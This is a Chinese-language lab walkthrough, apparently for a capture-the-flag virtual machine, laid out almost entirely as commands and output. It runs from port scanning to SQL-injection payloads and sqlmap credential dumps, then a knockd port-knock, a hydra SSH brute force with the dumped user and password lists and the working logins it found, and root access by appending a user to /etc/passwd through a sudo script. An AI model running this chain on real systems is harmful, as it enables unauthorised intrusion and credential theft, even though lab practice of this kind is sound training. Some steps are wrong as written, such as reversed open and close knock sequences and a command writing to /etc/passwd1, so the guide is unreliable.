nmap -sP 192.168.1.0/24 -oN nmap.sP
nmap -A 192.168.1.4 -p 0-65535 -oN nmap.A
whatweb 192.168.1.4
dirb扫描:
dirb http://192.168.1.4
输入一个正常名字返回正常
经过多次尝试,发现存在SQL注入,且闭合为 ’
猜解字段数:
查看有哪些表:
Moe' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+
=Moe' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users' --+
=Moe' union select 1,2,3,4,5,(select group_concat(Username,0x3a,Password) from Users) --+
admin:856f5de590ef37314e7c3bdf6f8a66dc
sqlmap -r 1.txt --dbs
列出当前数据库
sqlmap -r 1.txt --current-db
(这里是爆破users数据库,staff数据库同理,因为上面爆出来了就没报)
爆表
sqlmap -r 1.txt -D users --tables
爆字段
sqlmap -r 1.txt -D users -T UserDetails --columns
爆值
sqlmap -r 1.txt -D users -T UserDetails --dump
MD5 解密:网址
admin 856f5de590ef37314e7c3bdf6f8a66dc
admin transorbital1
1.发现登录后点击manage页面会多出梁个菜单,但是点击有跳转,单没有发生网页变化,猜测可能存在文件包含漏洞
2.bp抓包爆破
注:因为我们猜测存在文件包含漏洞,但是我们不知道动态包含变量的名称,以及我们查看文件路径
我们需要爆破。下面是我手工创建字典进行爆破。(这里是因为我没有强大的字典,只是告诉大家一个原理)
虽然存在文件包含,但是我们无法上传木马获取shell,想到之前扫描到ssh端口,我们可以尝试ssh端口爆破。
knockd知识补充
如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口
(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。
knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特
序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据
包来启动端口命中,也可以直接用nc敲击端口。
1.我们尝试登录ssh,但是发现无法登录,仔细查看我们发现ssh端口显示 filtered ssh因为knockd可以对SSH进行防护
knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,
则可以让防火墙实时更改策略。从而达到开关防火墙的目的。
有关knockd点击这里查看
我们利用文件包含查看knockdde配置文件:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
有3个自定义端口7469,8475,9842,根据Port-knocking的规则依次访问这三个端口就可以打开SSH服务了
sudo nmap -p 7469 192.168.1.4
sudo nmap -p 8475 192.168.1.4
sudo nmap -p 9842 192.168.1.4
或者安装knockd
knock 192.168.1.4 7469 8475 9842 关闭
knock 192.168.1.4 9842 8475 7469 开启
然后nmap扫描查看端口是否开放
这里我们先创建两个字典(之前SQL注入爆破算出来的user数据库)
user.dic
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
pwd.dic
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
hydra爆破:
hydra -L user.dic -P pwd.dic ssh://192.168.1.4 -o hydra.ssh -vV
cat hydra.ssh
爆破结果:
[22][ssh] host: 192.168.1.4 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.1.4 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.1.4 login: chandlerb password: UrAG0D!
ssh 用户名@目标ip
ssh [email protected]
依次登录查看家目录下所有文件(包括隐藏文件),查看是否有不需要密码的root命令
ls -al
sudo -l
发现在janitor用户下有隐藏文件,有一个密码笔记查看
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
hydra -L user.dic -P pwd2.dic ssh://192.168.1.4
ssh [email protected]
进入这个文件下,发现test不是一个目录文件,然后我们尝试运行,根据提示,他是一个python文件
cd /opt/devstuff/dist/test
find / -name test.py 2>/dev/null
2>/dev/null 代表忽略掉错误提示信息。
查看这个python脚本:
py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了
openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
admin 123456 用户名和密码
根据/etc/passwd的格式,修改一下,然后存入一个文件里,这个文件就是参数1
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
echo 'hpc666:0:0:0::/root:/bin/bash' >> /tmp/passwd1
# 用户名:密码:uid:gid:家目录:登陆后使用的shell
sudo ./test /tmp/passwd /etc/passwd1
su admin
cd /root
ls
cat theflag.txt